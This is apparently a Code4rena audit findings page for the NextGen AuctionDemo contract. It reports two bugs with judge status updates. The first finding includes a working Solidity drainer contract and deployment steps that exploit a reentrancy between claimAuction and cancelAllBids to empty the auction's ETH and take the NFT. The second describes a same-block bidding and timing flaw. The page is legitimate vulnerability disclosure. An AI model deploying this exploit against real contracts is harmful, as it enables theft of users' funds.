Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 130/243
Findings: 2
Award: $5.49
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L130 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134-L143
A malicious actor can manipulate the auction to withdraw the entire contract balance and steal the NFT without paying any ETH in the following way:
fallback
function for receiving ETHAuctionDemo::claimAuction
exactly when block.timestamp == minter.getAuctionEndTime(_tokenid)
claimAuction
iterates through all bids, in the order they were created, and if they still are active, will transfer the bid value backAuctionDemo::cancelAllBids
, which works because at block.timestamp == minter.getAuctionEndTime(_tokenid)
this function is validly calledcancelAllBids
sends the entire cumulated bid amount back, again, to the contract (or less if there is less ETH in the contract)claimAuction
where the bids after the initial attacker bid wall are attempted to be returned, and fails to transfer but does not revert because the auction uses a push instead of a pull pattern, and the ETH transfer is not required to be successfulWhen an auction for a minted token has ended, the winner or an approved admin can call AuctionDemo::claimAuction
to retrieve his prize.
function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); auctionClaim[_tokenid] = true; uint256 highestBid = returnHighestBid(_tokenid); address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); address highestBidder = returnHighestBidder(_tokenid); for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); (bool success, ) = payable(owner()).call{value: highestBid}(""); emit ClaimAuction(owner(), _tokenid, success, highestBid); } else if (auctionInfoData[_tokenid][i].status == true) { (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); } else {} } }
Functionally, this function:
and has the following issues and constraints that are relevant:
ETH
instead of an ERC20
token or wETH
ETH
to the non-wining auction participants or sending the winning highest bid ETH
to the NFT owner, claimAuction
does not set the status of that bid to falseblock.timestamp >= minter.getAuctionEndTime(_tokenid)
Canceling a bid can be done by calling either AuctionDemo::cancelBid
or AuctionDemo::cancelAllBids
which have the same logic but cancelAllBids
cancel all bids created by the caller. AuctionDemo::cancelAllBids
:
function cancelAllBids(uint256 _tokenid) public { require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) { if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) { auctionInfoData[_tokenid][i].status = false; (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid); } else {} } }
AuctionDemo::cancelAllBids
has the following relevant issues or constraints:
block.timestamp <= minter.getAuctionEndTime
auctionClaim[_tokenid]
)By combining all 6 lower issues together (CL(1), CL(2), CL(3), CL(4), CB(1) and CB(2)) in a creative way, a threat actor can construct the attack scenario mentioned in Summary and drain the auction.
Some constraints and observations:
The following is a partially coded POC
For simplifying the POC, the same contract made the entire bid-wall, but in a a real life scenario, to further obfuscate the attack, there can be several contracts that bided and the last one from the bid-wall calls all of them to cancel their bids and execute the attack
hardhat\smart-contracts\pocs\AuctionDrainer.sol
. Code:// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import {auctionDemo as AuctionDemo} from "../AuctionDemo.sol"; import {Ownable} from "../../node_modules/@openzeppelin/contracts/access/Ownable2Step.sol"; import {IERC721Receiver} from "../../node_modules/@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol" ; import {EnumerableSet} from "../../node_modules/@openzeppelin/contracts/utils/structs/EnumerableSet.sol" ; contract AuctionDrainer is Ownable, IERC721Receiver { using EnumerableSet for EnumerableSet.UintSet; AuctionDemo immutable private auctionContract; uint256 private markAmount; uint256 private targetTokenId; EnumerableSet.UintSet private placedBids; constructor(address _auctionDemoAddress) { require(_auctionDemoAddress != address(0), "auctionDemoAddress must not be 0"); auctionContract = AuctionDemo(_auctionDemoAddress); } function setTargetTokenId(uint256 _tokenId) external onlyOwner { targetTokenId = _tokenId; } function bid(uint256 _amount) external onlyOwner { require(placedBids.add(_amount), "bids must be easily distinguishable"); auctionContract.participateToAuction{value: _amount}(targetTokenId); } function bidAndMark(uint256 _amount) external onlyOwner { require(placedBids.add(_amount), "bids must be easily distinguishable"); markAmount = _amount; auctionContract.participateToAuction{value: _amount}(targetTokenId); } function callClaimAuction() external onlyOwner { auctionContract.claimAuction(targetTokenId); } fallback() external payable { if (msg.value == markAmount && msg.sender == address(auctionContract)) { auctionContract.cancelAllBids(targetTokenId); } } function onERC721Received( address, address, uint256, bytes calldata ) external override returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } }
npm install @openzeppelin/contracts@4.9.3
in 2023-10-nextgen\hardhat
AuctionDrainer
AuctionDrainer
(maximum capable to steal)AuctionDrainer::setTargetTokenId
to save what token will be stolenAuctionDrainer::bid
with incremental bids (0.5, 0.51, 0.52 ETH etc). We avoid one single large bid as nobody would over-bid, the idea is to deploy fundsAuctionDrainer::bidAndMark
. This will indicated for the contract when it receives that value to trigger a cancel to all bidsAuctionDrainer::bid
with a large, say 1 ETH bid to win;AuctionDrainer
has 0.01ETH left to pay for gasAuctionDemo
has 17.99 ETHAuctionDrainer::callClaimAuction
. This will call:
AuctionDemo::claimAuction
which will iterate over all bids and returning the non-winning onesAuctionDrainer::fallback
will be triggered but since the returning bids are not the marked value it will do nothingAuctionDrainer::fallback
will call AuctionDemo::cancelAllBids
AuctionDemo::claimAuction
where it further attempts to refund users and fails. Execution is finishedAuctionDrainer
has 18 ETH (minus gas)AuctionDemo
has 0 ETHObservation: the AuctionDrainer
contract used cancelAllBids
but if we save the index for each of our bids, besides the last winning bid, in the fallback we can call cancelBid
on all of them so that claimAuction
also transfers the NFT to the contract (and fails payment to original owner) so it steals it.
Entire auction token balance plus NFT can be stolen by attacker.
Manual review.
cancelBid/cancelAllBids
and claimAuction
to be callable at the same timecancelBid/cancelAllBids
to be called after an auction was claimedError
#0 - c4-pre-sort
2023-11-15T10:46:38Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:39:57Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:24:20Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: HChang26
Also found by: 0x3b, 0xMAKEOUTHILL, 0xSwahili, 0xarno, ABA, DeFiHackLabs, Eigenvectors, Haipls, Kow, MrPotatoMagic, Neon2835, Nyx, Zac, alexfilippov314, ayden, c3phas, immeas, innertia, lsaudit, merlin, mojito_auditor, oakcobalt, ohm, oualidpro, peanuts, phoenixV110, sces60107, t0x1c, tnquanghuy0512, ubl4nk, volodya, xAriextz
5.4864 USDC - $5.49
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L57-L58 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L105
Biding in an auction (via auctionDemo::participateToAuction
) and claiming the NFT at the end of an auction (via auctionDemo::claimAuction
) can be called in the same block. This introduces 2 major issues:
claimAuction
with his own participateToAuction
(or simply call participateToAuction
directly it nobody called claimAuction
) and win simply by adding 1 WEI over the previous las winning bid, then himself call claimAuction
in the same block and retrieve the NFT. Thus winning the NFT auction by 1 WEI.claimAuction
is called but his transaction is after the claimAuction
, it will not revert and he will lose his funds forever since after that block, the cancel bids functions will not work any moreAfter an auction has started users can bid using auctionDemo::participateToAuction
and when the auction is finished, the winner or admin can call auctionDemo::claimAuction
to refund non-winners and send the NFT to the winner.
auctionDemo::participateToAuction
and auctionDemo::claimAuction
can be called in the same block because:
participateToAuction
checks: block.timestamp <= minter.getAuctionEndTime(_tokenid)
claimAuction
checks: block.timestamp >= minter.getAuctionEndTime(_tokenid)
thus in the moment block.timestamp == minter.getAuctionEndTime(_tokenid)
both can be called.
cancelAllBids
and cancelBid
also check as so block.timestamp <= minter.getAuctionEndTime(_tokenid)
, to note they will not be callable after the end time has passed, making bids after the claimAuction
NFT winning bid may be frontrun and surpassed with 1 WEI and users may have ETH forever blocked in the contract.
Manual review
Do not allow participateToAuction
and claimAuction
to be called at the same time.
Timing
#0 - c4-pre-sort
2023-11-15T10:43:37Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:33:44Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:36:03Z
alex-ppg marked the issue as duplicate of #1926
#3 - c4-judge
2023-12-08T18:52:58Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-09T00:21:41Z
alex-ppg changed the severity to 2 (Med Risk)